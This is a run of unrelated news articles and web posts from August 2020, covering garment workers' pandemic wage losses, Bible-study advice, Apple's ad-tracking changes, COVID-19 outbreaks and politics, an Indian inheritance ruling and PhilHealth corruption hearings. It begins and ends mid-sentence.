coronavirus crisis, with lost wages potentially amounting to nearly US$6 billion, researchers said on Monday. With the pandemic leading to store closures and falling sales, many retailers cancelled orders or demanded discounts from suppliers, jeopardizing the livelihoods of tens of millions of workers in the sector. Pressure group Clean Clothes Campaign said garment workers in South and Southeast Asia, many already surviving on poverty pay, had only received three fifths of their regular income on average from March to May. In some regions of India, workers received less than half their income, according to the groups report Un(der)paid in the pandemic. Clean Clothes Campaign, a network of labour rights organizations and unions, urged brands and retailers to stop passing the buck and publicly commit to ensuring all workers in their supply chains received what they were owed. The wage gaps caused by the crisis mean that workers are not able to feed their families properly, Khalid Mahmood, director of the Labour Education Foundation in Pakistan, said in a statement. They are not able to pay for school fees ... or pay for medical expenses and ... many of them are in debt. Clean Clothes Campaign said a lack of data limited the research to seven countries - Bangladesh, Cambodia, India, Indonesia, Myanmar, Pakistan and Sri Lanka - but the situation was probably no better in other low-wage regions. Extrapolating the data, researchers estimated garment workers worldwide had lost $3.19 billion to $5.79 billion in the first three months of the pandemic. They estimated $500 million in wages had been withheld in Bangladesh and more than $400 million in Indonesia. Bangladeshi seamstress Shorifa Begum, 25, told the Thomson Reuters Foundation she was sacked by text message in May after fellow workers protested over unpaid wages. Begum, whose husband is too ill to work, said her former boss owed her 60,000 taka ($708), mostly in unpaid overtime a sum equivalent to more than a third of her annual income. Ive been living on loans since May. I owe money for rice and lentils to many shops and I dont know when I can pay them back, she said, adding she could often no longer afford milk for her toddler. In desperation, Begum is joining another factory paying 6,000 taka a month - less than half what she used to be paid after overtime. It obviously wont be enough, but I need to survive, she said. Clean Clothes Campaign said clothing companies had long profited from low wages in countries with lax labor laws. We are asking brands individually to make a public commitment to avoid a situation in which everyone in a supply chain has responsibility, but in practice nobody assumes responsibility, said Clean Clothes campaigner Christie Miedema. Brands including Adidas, H&M Group, Primark and Ralph Lauren, unions and the International Organization of Employers (IOE) announced a working group in April, convened by the United Nations, to help manufacturers pay wages. Most brands have acted responsibly, but theres much more to do on all sides - with the brands, governments, manufacturers and retailers, said IOE Secretary-General Roberto Suarez Santos. Suarez Santos said they were working with governments, employers and workers in the countries cited in the report to create or boost social protection schemes. The British-based Ethical Trading Initiative said it expected its members, who include H&M and Primark, to cover costs incurred for orders already in progress or completed and to work with suppliers to avoid cancelling orders. Yes, you can understand the Bible Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A recent article in The Christian Post highlighted a poll done by LifeWay Research on the ability of Christians to understand the Bible. Two of the findings were that over 80% of believers felt they could help someone else who was confused over a Bible passage, but nearly 60% of the same group admitted they find it challenging to make sense of the Bible when they read it on their own. Setting aside the fact that those two stats seem to be at odds with each other, its definitely a bad sign when more than half of Christians struggle to comprehend Gods Word. However, the good news is, you can absolutely understand the Bible. Let me provide five quick steps that will put you on the right path. 1. Be born again I spent the first nineteen years of my life in church, and for those years, I was an unbeliever who had zero passion for the Bible because I didnt understand its importance or what it was saying to me. But during the summer of my junior year in college, God saved me and everything regarding my desire for Scripture and ability to grasp its truths changed. The first step to understanding the Bible is you must be born again (John 3:3). Gods Word tells us that Scripture is foolishness to those who are perishing, but to us who are being saved it is the power of God (1 Cor. 1:18). If you have no draw to Scripture whatsoever and find it a puzzle when you do read it, the first thing to do is, Test yourselves to see if you are in the faith; examine yourselves! (2 Cor. 13:5) because unless you have been saved, the Bible will always remain a mystery to you. As A. W. Tozer says, The Bible is not addressed to just anybody. Its message is directed to a chosen few. Some believe and some do not; some are morally receptive and some are not; some have spiritual capacity and some have not. It is to those who do and are and have that the Bible is addressed. Those who do not and are not and have not will read it in vain. As the pillar of fire gave light to Israel but was cloud and darkness to the Egyptians, so our Lords words shine in the hearts of His people but leave the self-confident unbeliever in the obscurity of moral night.[1] 2. Choose a good Bible translation With all due respect to the King James Bible lovers out there, when most people start reading all the begets and begats in it, theyre begone. Selecting a good, readable Bible translation[2] to use is important as is understanding the three general translation approaches used to produce the Bible youll use on a daily basis. A paraphrase approach, such as The Message, is just that an interpretative end result based on the authors summarized/restatement of the text. While interesting to reference, I dont recommend paraphrase translations as the primary vehicle for personal Bible study. The other two translation methods are dynamic equivalence and literal formal. Dynamic equivalence is a thought for thought method, with examples being the NIV and New Living Translation Bibles. Literal Formal is a sentence by sentence/word by word approach, with popular options being the NASB and the ESV. I was influenced early on by Bible teachers I respected who used literal formal translations and have been using both the NASB and ESV for decades. 3. Use the right techniques The one seminary class in which I most wanted to excel was hermeneutics, which is the study on how a text is to be understood. In short, it is the science of biblical interpretation. The hermeneutical process is easy to understand and consists of three steps, the first of which is observation whats in the text? Observation concerns itself with everything from the terms being used, the structure and genre of the book itself, and the historical background. Observation feeds into the next step, which is interpretation. Contrary to what some believe, there is only one right interpretation of a particular verse of Scripture. Yep, just one. As John Calvin said, I acknowledge Scripture is a most rich and inexhaustible fountain of all wisdom; but I deny that its fertility consists in the various meanings which any man, at his pleasure, may assign. While there is only one meaning of a biblical text, there can be many applications of it. Application is the third hermeneutical step and deals with the significance of the text vs. the meaning. Application functions in a way where Scripture first convicts us, then convinces us, and finally converts us to apply and obey what God has said. A short book that helps you practically use these three hermeneutical steps is Gordon Fees How to Read the Bible for All its Worth. 4. Use the right tools Theres never been a better time to study the Bible. Traditional help aids like biblical cross references, concordances, interlinear Bibles, lexicons and other tools are almost all now freely available online. Theres also Bible study software that can be purchased (some of which, like Logos, can get pretty expensive). A simple tool that anyone can make use of is a good study Bible. The major ones have done a lot of work for you and have commentary that provide word studies, verse references, historical context descriptions and more allowing you to interpret the Bible with the Bible. The study Bibles I use on a regular basis include the MacArthur and ESV study Bibles, which are also available as apps for your phone and tablet. 5. Choose the right teachers Every day at the gym, I listen to podcasts from my favorite Bible teachers and theologians. Selecting solid expositors of Gods Word is a critical part of your ongoing Bible education and youll want to choose ones that take an exegetical approach to their work. A Bible exegete works through the Bible in a verse-by-verse/book-by-book fashion, which is great because if what Gods Word says is true and all Scripture is inspired by God and profitable for teaching, for reproof, for correction, for training in righteousness (2 Tim. 3:16), then you dont want to miss out on a single verse. Theres nothing like the Word Tozer wrote, I think a new world will arise out of the religious mists when we approach our Bible with the idea that it is not only a book which was once spoken, but a book which is now speaking. The five steps weve covered will help get you on the right track where understanding and hearing what Scripture says is concerned. You do your part, and I guarantee God will do what He promised where His Word is concerned: For as the rain and the snow come down from heaven, and do not return there without watering the earth and making it bear and sprout, and furnishing seed to the sower and bread to the eater; so will My word be which goes forth from My mouth; it will not return to Me empty, without accomplishing what I desire, and without succeeding in the matter for which I sent it (Is. 55:10-11). [1] A. W. Tozer, Why People Find the Bible Difficult in The Best of A. W. Tozer, ed. Warren W. Wiersbe (Camp Hill, PA: Baker, 1980), pp. 164-166. [2] By Bible translation, I mean a work that takes the original Hebrew, Aramaic, and Greek manuscripts and translates them into the language of the reader. Source: Xinhua| 2020-08-11 23:52:00|Editor: huaxia Video Player Close BAGHDAD, Aug. 11 (Xinhua) -- Two Iraqi border guard officers and a soldier were killed on Tuesday in an airstrike by a Turkish drone in a border area in Iraq's semi-autonomous region of Kurdistan, the Iraqi military said. "A Turkish blatant attack targeted a military vehicle of border guards in the Sidekan area caused the death of the commander of the 2nd border guard brigade, commander of the brigade's 3rd regiment and the driver," the media office of the Joint Operations Command said in a brief statement. Rudaw, a Kurdish media network, said the drone bombing came when Iraqi border guard officers and members of Turkey's Kurdistan Workers' Party (PKK) were meeting. The airstrike killed five persons including two brigadier generals and a colonel from the Iraqi border guard forces, Ihsan al-Chalabi, mayor of Sidekan, was quoted by Rudaw as saying. Turkish forces frequently carry out ground operations, airstrikes and artillery bombardments against the positions of the PKK militants in northern Iraq, especially the Qandil Mountains, the main base of the PKK. The PKK is listed as a terrorist organization by Turkey, the United States and the European Union. Enditem LONG ISLAND, NY One lucky Long Island couple were announced as the winner of special wedding giveaway. In May, the Bohemia-based business, New York Tent, launched the giveaway to provide one couple with a dream wedding venue large enough to accommodate 175 guests. The contest was started to help a frontline worker during the coronavirus crisis. Recently, the company announced that 26-year-old Shannon Nigg, of East Moriches and 29-year-old Shaka Ballantyne, of Calverton were the recipients of the prize. The couple met at Boardy Barn, a popular bar in Hampton Bays, in August 2016. The two began dating three weeks later and endured a long distant relationship for about nine months. Then both decided to apply to Radiology School at Peconic Bay Medical Center to be a part of a competitive program that only accepted 12 students. The couple were both accepted into the program and began to attend two years of school to become radiologic technologists. Then on June 7, Ballantyne proposed at a local beach in Wading River. After getting engaged, the couple were informed of the giveaway by a professor from radiology school as well as Nigg's boss. The two took the opportunity to tell their story as an interracial couple and give them a great opportunity financially to still be able to bring their family and friends together to celebrate their union. "After hearing that we won the contest we were filled with so much joy and love. Our thoughts kept leading us to say 'God is so good,'" Niggs told Patch. "We were overwhelmed with all the love and outpouring we received from our family members, friends, and co-workers." Ballantyne and Niggs are now getting ready for their wedding on July 31, 2021 at Brecknock Hall in Greenport. "On our wedding day we are looking forward to becoming one in Gods eyes and to celebrate the unity of our marriage. We cannot wait to see all the hands of everyone who donated come together and create this beautiful evening," Niggs said. "To be able to witness everyone putting their time and energy into this one event has made us feel incredibility humbled. Lastly to see all of our family and friends come together a celebrate will make this night one we will never forget. We just want to thank all the vendors who have donated from the bottom of our hearts and we want to thank everyone who had voted for us continually. Your love and support has filled us with so much happiness." This article originally appeared on the Sayville-Bayport Patch Personal data is like an old Kalashnikov: it ends up in the strangest places. You might, for example, quite prudently choose to share your location with a weather app. But then that app shares it with an advertising network, which sells it to a market research firm, which sells it to a data broker, which combines it with ten other data sources to create a detailed picture of your life that will be of great interest to a debt collector, a spam marketer or a police force. All this is made possible by your unique advertising number, which clings to your data throughout its strange migration. While theoretically anonymous, billed as a way to give advertisers market intelligence without violating privacy, "ad IDs" can be tied back to your identity by those who know how. That is why Apple's next big iPhone update will abruptly blow them apart - to the alarm of those who make a living from ad tracking. Apple's upcoming privacy update will curb access to users' unique Identifier for Advertisers (IDFA). Before, apps could freely graze on IDFAs; now, they must seek specific permission, via a stark pop-up message whose format is rigidly dictated by Apple. Credit:Bloomberg "What they are doing is pulling the rug out from underneath us," says Zach Shakked, a 24-year-old software developer in New York City who depends on adverts to attract new users. "It took me so much time to get this up and running, and the fact that it's all going to be useless in two months just makes me sad." Big players are worried too. Facebook has told investors to expect a "pronounced" effect on its income this year, while a Google-backed lobby group warned of a "dramatic decrease" in free apps. Other advertising trade groups urged Apple to relent, lest it cause a "strong negative impact" to app makers' revenues. David Barnard, a developer advocate at the subscription management firm RevenueCat, describes "paid user acquisition" as "power[ing] economic engine of the App Store". BAKU, Azerbaijan, Aug. 11 By Fidan Babayeva - Trend: In the post-pandemic period, the Azerbaijan Hotel Association plans to, at least partially, reach the success of the previous years, Chairman of the board of the Association Samir Dubandi told Trend. The tourism sector of Azerbaijan has completely dropped to zero, Dubandi said. The main reasons are the closure of borders, the suspension of the visa issuance process, the cessation of movement between countries, as well as the quarantine regime in the country, which has recently been tightened, he added. "Before the recent changes in the rules of the special quarantine regime, the country's regional hotels were ready to receive guests at least on weekends. However, following the introduction of toughened quarantine on weekends in June, it has become even tougher," said the chairman. "The epidemiological and quarantine situation in the country doesnt allow talking about any activities in the near future. The hotels werent suspended at the legislative level. However, given the fact that the main customers of the hotel were foreign citizens, it can be said that hotels suffer a significant drop in their income and net profit," he said. "There are currently over 700 hotels, hostels and motels in the country. It is impossible to say that all these hotels will survive, as not every hotel is able to withstand such economic damage and is forced to stop its activities," added Dubandi. Touching upon the activities of restaurants, Dubandi noted that 27,000 restaurants, cafes and other catering facilities across the country restricted their activities, but continued to operate within unusual conditions, namely, through 'take aways'. The restaurants were the worst-hit areas by the COVID-19 pandemic in the tourism sector, and the central restaurants in large cities were completely closed, with no chance of recovery, the chairman said. The Azerbaijan Hotel Association is a non-profit organization supporting and promoting the interests of the hotel and restaurant business in Azerbaijan. It was established and registered by the Ministry of Justice in 2009. --- Follow the author on Twitter: Fidan_Babaeva tech2 News Staff The US is looking to ban the Chinese social media app TikTok and WeChat. Apple Analyst Ming-Chi Kuo is keeping a keen eye on what banning these apps could actually result in. Kuo via MacRumors has hinted that the ban of Tencent's WeChat app might lead to a drop of up to 30 percent in iPhone sales worldwide. To recall, US President Trump has recently issued an executive order saying that TikTok and WeChat will be banned in the US in 45 days unless they are sold by the parent companies. The report adds that Kuo believes that if the US bans the WeChat app, Apple will be forced to remove it from the AppStore as well. The report adds, "Since WeChat is very critical to Chinese users, integrating communications, payments, e-Commerce, social software, news reading, and productivity functions, we believe that the move will tank iPhone shipments in the Chinese market." Global shipments of other Apple devices are likely to drop by up to 25 percent. In addition to this, the report also suggests that if the app gets banned in just the US market, then too, iPhone sales would decline up to 6 percent, and other Apple products sales might fall by 3 percent. Kuo has further advised the investors to reduce their stock holdings of companies in Apple's supply chain like LG Innotek and Genius Electronic Optical "due to risks of a WeChat ban". President Donald Trump takes questions from the media on the tarmac at Morristown Municipal Airport in Morristown, New Jersey, on Aug. 9, 2020. (Jim Watson/AFP via Getty Images) State and City Funding Become Latest Obstacle in COVID-19 Negotiations Democratic leaders and White House officials remained at an impasse on Tuesday over how to handle another COVID-19 relief package, as state and local government funding became the most prominent obstacle in getting a deal done. Democrats have sought about $1 trillion in funding for state and local governments, including in the HEROES Act that passed in the Democrat-controlled House, while Republicans have sought exactly zero funds in the HEALS Act. President Donald Trump and Treasury Secretary Steven Mnuchin said the funding would be tantamount to a bailout of poorly-run municipalities, while stating that it isnt pandemic-related. Democrats like House Speaker Nancy Pelosi (D-Calif.) and Sen. Chuck Schumer (D-N.Y.) said the funding would cover food aid, virus testing and tracing, provide money to healthcare workers, and more. As of Monday, there were no signs of agreement on either side, with both parties accusing one another of stalling the discussions and not giving ground. The stalemate, however, puts at risk $1,200 stimulus payments to people, expanded unemployment insurance, liability protections for hospitals and businesses, billions of dollars to help reopen schools that were shuttered, and a moratorium on evictions. Over the weekend, Trump attempted to ameliorate some of these issues by authorizing several executive orders to suspend payroll taxes, provide $400-per-week in federal unemployment payments, defer student loan payments, and authorize federal agencies to look into providing a moratorium on evictions for renters and homeowners. Democrats and some GOP critics of the move have said the orders are unconstitutional or wont provide enough relief. Treasury Secretary Steven Mnuchin said on Monday that the $1 trillion request for aid is an absurd number, adding there is enough cash available still that was provided under the CARES Act in March. Nurses collect swab tests for COVID-19 at a new large-scale testing site at the Anaheim Convention Center, in Anaheim, Calif., on July 15, 2020. (John Fredricks/The Epoch Times) Were not going to give a trillion dollars for state and local, he said during a televised interview. Thats just not a reasonable approach. President Trump in a Twitter post said that Schumer and Pelosi are seeking BAILOUT MONEY for cities and states run by Democrats. However, some governors warned that their states would not be able to afford paying 25 percent of the $400 unemployment benefits that were included in one of Trumps executive orders. We appreciate the White Houses proposals to provide additional solutions to address economic challenges; however, we are concerned about the significant administrative burdens and costs this latest action would place on the states, New York Gov. Andrew Cuomo and Arkansas Gov. Asa Hutchinson, respectively the chair and vice-chair of the National Governors Association (NGA), said in a statement. The association requested $500 billion in unrestricted state aid and NGA continues to urge Congress and the White House to reach a quick resolution to provide immediate assistance to unemployed Americans, the statement continued. AUSTIN, Texas, Aug. 11, 2020 /PRNewswire/ -- VORAGO Technologies (https://voragotech.com) today announced the expansion of the highly integrated Radiation-Hardened Arm Cortex Microcontroller (MCU) family into Ball Grid Array packages. This announcement promises an increase of functionality options spanning size and scope while incorporating the company's patented HARDSIL technology. "As the space market transitions into smaller electrical designs, the need for a reduction in Size Weight and Power, or SWaP, of the components building those systems need to follow suit. The introduction of the VORAGO family of BGA processors allows the functionality of up to 8 ICs to be compressed down into one tiny 12x12mm BGA package." Jason Wells, Director of Product Management, VORAGO Technologies The expansion of packages for VA416XX and VA108X0 offers unprecedented choice in a marketplace dominated by limited, less-flexible legacy components. These new additions to the broader family of Arm Microcontroller products from VORAGO drastically reduce the design footprint while offering more flexibility with applications in hi-rel, aerospace, military and defense. VA416XX and VA108X0 family of products include the following features and benefits: High performance Arm Cortex processing power with easy-to-use programming tools Cortex processing power with easy-to-use programming tools Optional integrated NVM to take up less real estate Pin-to-pin compatibility across family of MCUs 12x12mm BGA package increasing available board space Full Latch-up immunity and TID up to 300 krad (Si) utilizing VORAGO's patented HARDSIL technology technology Broad range of communication interfaces (I 2 C, UART, CAN, SPI, Ethernet, Spacewire) C, UART, CAN, SPI, Ethernet, Spacewire) Easy-to-design development kit, with exceptional support and service offerings available To learn more or request a datasheet, visit VORAGO's Product Page. About VORAGO Technologies VORAGO Technologies is a privately held, high technology company based in Austin, Texas with over 14 years of experience in providing radiation-hardened and extreme-temperature solutions for the Hi-rel marketplace. VORAGO's patented HARDSIL technology uses cost-effective high-volume manufacturing to harden any commercially designed semiconductor component for extreme environment operation, and has created a number of solutions throughout Aerospace, Defense and Industrial applications. VORAGO Technologies opens up a new world of possibilities for your designs, no matter how hostile the environment. www.voragotech.com Photo(s): https://www.prlog.org/12833522 Press release distributed by PRLog SOURCE VORAGO Technologies Related Links https://voragotech.com A police officer in Key West, Florida arrests an 8-year-old boy with special needs after he punched a teacher in the chest: Key West Police Department A Florida mother whose 8-year-old son with special needs was arrested and imprisoned before having felony charges levied against him is suing the police department and school district she believes failed her child. On Tuesday, Bianca Digennaro and a team of lawyers - including Ben Crump, who also represents the family of George Floyd - announced they were suing the Key West Police Department and the Monroe County School District over what they believe is a violation of the Americans With Disabilities Act. Im here for my son because I refuse to let [the police and state prosecutors] make him a convicted felon at the age of 8 just because he was having a mental breakdown, Ms Digennaro said. Ms Digennaro said her son has ADHD, oppositional defiant disorder, severe anxiety and depression. In 2018, her son - then 8-years-old - was chastised for not sitting correctly on his bench in the cafeteria of Grace Adams Elementary School. A teacher asked him to sit several times and, when he did not comply, asked him to sit with her. According to the arrest report from the schools resource officer, Michael Malgrat, the boy warned the teacher dont put your hands on me and later that my mom is going to beat your as** before punching her. After the boy was escorted to the schools administrative office, a pair of police officers lectured him and told him he was going to jail. A police bodycam video of the arrest went viral earlier this week. In the video, the police are seen lecturing the boy before taking him into custody. You understand this is very serious, OK? I hate that you had to put me into this position to do this, one officer says while walking him to a police cruiser. The thing about it is, you made a mistake. Now its time for you to learn about it and to grow from it, not repeat the same mistake again. The boy - whose wrists were so small the handcuffs fell off of him - was arrested and charged with battery. Ms Digennaro said she was upset because she couldnt be at the school to protect her son because she was out of town for a medical procedure. Story continues I couldnt protect him from being arrested, from going to an adult jail, from being swabbed for DNA and having taken a mug shot, she said. The boy claims he was locked up in a jail cell for a few minutes, but told his mom he remembers the officers slamming the heavy, barred jail cell door shut. Sean Brandenburg, the chief of the Key West Police Department, defended his officers actions. Based on the report, standard operating procedures were followed, he said. Mr Jacobs, a former police officer, said the fact that the chief cleared his officers before conducting an internal investigation troubled him. As a former police officer, I'm appalled at what happened and the fact that the chief came out before any internal investigation and cleared his officers. That's not the correct leader for that department, Mr Jacobs said. Following the boys arrest, a federal prosecutor moved to follow through on the battery charges, which would have made the 8-year-old a felon. Ms Digennaro fought a two-year legal battle and eventually the felony charges were dismissed via null process. The mother said her boy is doing better in school now but that the experience was very traumatic and that her son misses going to a regular school setting. The Key West Police Department said it could not comment on ongoing litigation. Read more Video shows police try to handcuff 8-year-old with special needs Parramatta Public School will be closed on Wednesday after a student was diagnosed with COVID-19. Two students from nearby Our Lady of Mercy College, Parramatta tested positive in recent days. Two staff members at Liverpool Hospital have been diagnosed with COVID-19. NSW Health said the risk to patients was low. One staff member wore personal protective equipment including a face mask, and the other was not working with patients when they were infectious. One staff member is linked to an existing cluster and the source of the other case in under investigation. Victoria recorded 331 new cases, and 19 COVID-related deaths for the second consecutive day. Acting Chief Medical Officer Paul Kelly said Australia's overall COVID-19 mortality rate was extremely low, with 331 deaths among 21,713 confirmed cases. On Tuesday, Ms Berejiklian said out-of-school camps and retreats should not be running while the state attempts to quash the contagion. "Extra-curricular activities, those excursions and overnight things which you would ordinarily do, are not acceptable during a pandemic. "Every organisation, every entity needs to abide by the COVID Safe plans because otherwise we risk having a surge in numbers and we risk having new clusters," she said. A spokesperson from the North Sydney Local Health District said: "Due to the concern about the virus spreading within [Tangara], NSW Health and the school agreed to close the high school for 14 days to allow for contact tracing and to reduce the risk of the virus spreading further at the school." Premier Gladys Berejiklian said she expected the Tangara cluster would grow, knowing people who live in the same households as positive cases were "extremely susceptible" to catching the virus. Following the advice of contact tracers will prove challenging for larger families as they attempt to isolate any children with COVID-19 from their siblings. Several families with daughters at Tangara also have sons enrolled at Redfield College in Dural. Both schools are run by the Parents for Education (PARED) Foundation, a not-for-profit Catholic Opus Dei organisation. The Tangara school community has been asked not to speak to the media and direct all questions to PARED. One parent, who spoke on the condition of anonymity, said the school's communication had been positive but she still did not have as much information as she would like, including the age of students who had tested positive. Loading Her daughter regularly attends after-school Eremeran study and religious clubs, which she said were small groups of about 10 students. She said the clubs had ceased during lockdown and remote learning, but re-commenced recently. "We got a message from Eremeran [on August 7] when the Tangara outbreak happened, saying Eremeran would also be closed," she said. She was most concerned about potential cases at Redfield College, where her son attends. "I'm worried about it spreading to the boys' school because [of] the huge number of large families at the school. One of the boys has a sister thats sick. The principal advised everyone [to] get tested, and a lot of the boys got tested yesterday," she said. Premier Berejiklian said coronavirus containment was a "daily battle in NSW". "We are in a state of high alert. My anxiety has not subsided in relation to what a knife-edge NSW is on, but we need to keep pulling together," Ms Berejiklian said. "We need to keep doing the right thing, maintain our social distance and most importantly even with the mildest symptoms, stay home and get tested, she said. In Huskisson on the NSW South Coast the Asian restaurant Wild Ginger has closed for two weeks after two diners on holiday from Sydney tested positive for COVID-19, forcing staff into self-isolation. Loading Of Tuesday's 22 new cases in NSW, 16 were locally acquired and linked to known cases, including two cases linked to previously reported cases from Batemans Bay Soldiers Club. The two new Batemans Bay cases are a student at Batemans Bay High School and a student at Batemans Bay Public School, bringing this cluster to 10 cases. The schools are closed for cleaning and contact tracing is under way. Another new case is linked to the Thai Rock Wetherill Park cluster, bringing the cluster to 112 cases. One new case is locally acquired and under investigation. Four new cases were returned overseas travellers in hotel quarantine, and one was acquired in Melbourne. Dooleys Catholic Club at Lidcombe has also closed its doors after a member visited the club last weekend and has since tested positive for COVID-19. The club is now in the process of helping NSW Health access the contact details of all employees and patrons who were on the premises between the period Friday August 7 at 5pm and Saturday August 8 at 1.30am. A total of 13,257 tests were carried out in the latest 24-hour reporting period. There are 117 COVID-19 cases being treated by NSW Health. Eight patients are in intensive care units and six are ventilated. Roughly 85 per cent of cases being treated are out of hospital. The Supreme Court, on Tuesday, gave Hindu daughters their rightful due of their fathers property by extending the scope of a beneficial legislation introduced in 2005 to cases where the father was not alive on the date when the law was introduced. A three-judge bench headed by justice Arun Mishra ruled that the 2005 law, which amended the Hindu Succession Act, 1956, to say a daughter would have the same rights as the son, would also apply irrespective of whether she was born before or after the amendment. Further, it ruled that she could not be denied her share on the ground that her father died before the law came into effect. Tuesdays ruling makes the 2005 amendment retrospective. The provisions contained in substituted section 6 of the Hindu Succession Act confer status of coparcener (equal shareholders while inheriting properties) on the daughter born before or after amendment in the same manner as son with same rights and liabilities. Since the right in coparcenary is by birth, it is not necessary that father coparcener should be living as on September 9, 2005 (the date when the law came into force), the bench, which also comprised justices S Abdul Nazeer and MR Shah, ruled. To ensure that this decision does not lead to reopening of earlier family settlements or partition suits already decided on, the three-judge bench held that a registered settlement or partition suit decreed prior to December 20, 2004 (the date when the amendment Bill was tabled in Rajya Sabha), will not be reopened. The bench said: Daughters cannot be deprived of their right of equality conferred upon them by Section 6 of the Amendment Act. The court fixed six months as an outer limit for courts where related suits are pending to pronounce the final decree. The Hindu Succession (Amendment) Act of 2005 made daughters coparceners in Hindu undivided family by birth, giving them the same right as sons. Section 6(1)(a) in the Act said that coparcenary benefit will apply on and from the commencement of the Amendment Act of 2005 with effect from September 9, 2005. Many daughters approached high courts claiming benefit under this law but were denied on the ground that their fathers were not alive as on September 9, 2005. This interpretation became the law of the land in 2016 when the Supreme Court held in the Prakash v Phulwati case that father must be alive for daughters to claim succession rights. Overruling this decision, a three-judge bench of the apex court on Tuesday said, Since the right in coparcenary is by birth, it is not necessary that father coparcener should be living as on September 9, 2005. It further made the law applicable to even daughters born prior to the commencement of the Act. By stating so, the Court upheld a 2018 ruling of the apex court in Danamma v Amar which extended benefit to a daughter whose father expired prior to 2005. Speaking to HT, senior advocate R Venkatramani, who assisted the court as amicus curiae in this matter, said, This judgment has put the law on a proper footing . But what happens in those cases where the son of the coparcener father has alienated or sold or transferred the rights in the property long time ago. He cannot be asked to pay to his sister the share in that property. To avoid chaos, there cannot be reopening of an old partition deed or settlement. The central government opposed the idea of giving retrospective operation to the 2005 law since a coparcener in Hindu family law has a right to seek partition. For this reason, the law fixed a cut-off date of December 20, 2004, to avoid reopening of any settlement or partition decree prior to this date. The court accepted the December 20, 2004, date as cut-off but emphasised that if a daughter seeks partition or a share, the same cannot be denied on the basis of an oral family settlement but on a final decree of a court or a registered family settlement. If oral settlement is to be presented, the bench held, it has to be supported by public documents. Advocate Sridhar Potaraju, one of the lawyers who argued in this case said: The judgment is a reassertion of the constitutional value of equality to women in personal law without any preconditions. The judgment factors all aspects. But there is a flip side too, he added. Daughters as coparceners include married daughters. Coparcenary right is an undefined liability and any liability of father including family debt will be extended to daughters as well. It remains to be seen if the husband of the married daughter will be open to bear this burden. Prior to the 2005 Act, several states, including Andhra Pradesh, Tamil Nadu, Kerala, Karnataka, and Maharashtra, introduced state amendments in the Hindu Succession Act of 1956 extending equal rights to daughters in Hindu Mitakshara coparcenary property. Metro Manila (CNN Philippines, August 12) Former Philippine Health Insurance Corporation (PhilHealth) anti-fraud officer Thorrsson Montes Keith revealed the state health insurers chief Ricardo Morales ordered him to fix the ghost dialysis scam that allegedly involved the Wellmed Dialysis Center in Novaliches, Quezon City. During the Senate hearing on Tuesday, Keith said he was instructed to re-accredit former Wellmed physician Dr. Portia Natividad as a health care provider. "Four or five days before I resigned he told me to fix also the WellMed case also. I can no longer handle the illegal orders from General Morales," said Keith, who accused key PhilHealth officials of stealing 15 billion from the agency using different fraudulent schemes. Keith found out from Morales former executive assistant Etrobal Laborte that Natividad was one of those charged by the National Bureau of Investigation over alleged fake claims for kidney treatments. PhilHealth revoked the accreditation of Wellmed last year after filing alleged bogus claims using names of dead kidney dialysis patients. The supposed scheme involved WellMed filing for reimbursements for all allowable kidney dialysis sessions for its clients, even if the patients have not availed of dialysis treatments for their entire terms or have died without having the treatments. In his defense, Morales denied Keiths allegations as he only ordered to clarify and not to fix Natividads papers after the doctor said her signature was forged in the claims. I did not instruct him (Keith) to fix. I told him to resolve it if there is basis, if indeed the signature of Dr. Portia Natividad was forged as was her claim, said Morales, who was appointed by President Rodrigo Duterte as PhilHealth president on June 2019 to fix the agency hounded by corruption problems including the Wellmed ghost dialysis scam. The former general said it was PhilHealth board member Marlene Padua, an acquaintance of Natividad, who brought up the doctors situation to his office. I told him (Keith), if he could resolve the issue of the case of Dra. Natividad since her only source of income is practicing her profession. Many doctors only make their living by claiming from PhilHealth and if they are deprived of this living, they cannot support themselves, the embattled PhilHealth president explained. Keith previously divulged that Morales also ordered him to fix the state health insurers overpriced COVID-19 testing package issue with the Presidential Anti-Corruption Commission (PACC). The PhilHealth president refuted Keiths statement, saying his instruction was to only send clarifications to PACC that there is no overpricing in their COVID-19 test packages. Yes, I asked him to liaise with PACC because at that time after the Senate hearing when the case rate of the COVID testing was brought up, we were charged that our testing rates were overpriced, which we maintain up to today were not overpriced. I thought that a simple clarification with PACC would resolve the matter. I did not tell him to massage it, I never used that word, Morales told the senators. In his public address on Monday, Duterte warned that he would get rid of PhilHealth officials who would be found liable for acts of corruption. He also ordered the creation of an inter-agency task force to investigate the corruption issues in the state health insurance agency. RELATED: Yayariin ko kayo: Duterte threatens corrupt PhilHealth officials Tim Healy has shared his fury over his ex-wife Denise Welch discussing their private life on Loose Women in a now-deleted Tweet. On Monday's episode, the former Coronation Street actress, 62, claimed that there were 'infidelities on both sides' during their 24-year marriage. Denise, who shares sons The 1975 star Matthew, 31, and Louis, 19, with Tim, also admitted that they 'hung on too long' to their relationship and made each other 'miserable'. Fuming! Tim Healy has shared his fury over his ex-wife Denise Welch discussing their private life on Loose Women in a now-deleted Tweet (pictured in 2008) The chat came about after the TV personality was shown a past clip of herself debating with Sherrie Hewson about cheating. In the footage, Denise claimed that 'emotional infidelity' is worse than 'sexual infidelity', she said: 'A sexual infidelity could just be behind a bike shed or something when you are a little bit drunk. 'I'm not condoning it, I am just saying I'd rather that than if my partner had met someone privately and got feelings for that person.' Tim was left furious over the discussion and took to Twitter after the episode aired to share his anger in a now-deleted tweet. Accusations: On Monday's episode, the former Coronation Street actress, 62, claimed that there were 'infidelities on both sides' during their 24-year marriage Anger: Tim was left furious over the discussion and took to Twitter after the episode aired to share his anger in a now-deleted tweet Lashing out at his ex-wife Denise, he wrote: 'Just watched yesterday's loose Women. Denise in her day was talking about how it was ok to have casual sex behind the bike shed even though married. 'Day after day year on year she discussed our private life. Long suffering Tim Healy I am no more xx.' MailOnline has contacted both Tim and Denise's representatives for comment. During Monday's episode, Denise spoke candidly about her lengthy marriage to Tim and their private life. Claims: Denise, who shares sons The 1975 star Matthew, 31, and Louis, 19, also admitted that they 'hung on too long' to their relationship and made each other 'miserable' The actress is now married to Lincoln Townley, 47, while Tim tied the knot to Joan Anderton in 2015. Denise said of the throwback clip aired: 'I was in a dark place, it may not appear that I was, but I was. It's not an excuse but it's a reason for some behaviours. 'And I think my husband and I both agree we held on far too long and we were making each other miserable and thankfully we've now got a great friendship. 'I genuinely used to think that being unfaithful wasn't the worst thing you could do in a relationship. There were infidelities on both sides... which you girls know about.' Moving on: The actress is now married to Lincoln Townley, 47, and she said: 'I now have a husband I trust 100%. It would kill me if I even saw any text messages.' (pictured in 2019) She added: 'I didn't use to think that there was anyone I could meet that would give me everything and stop me 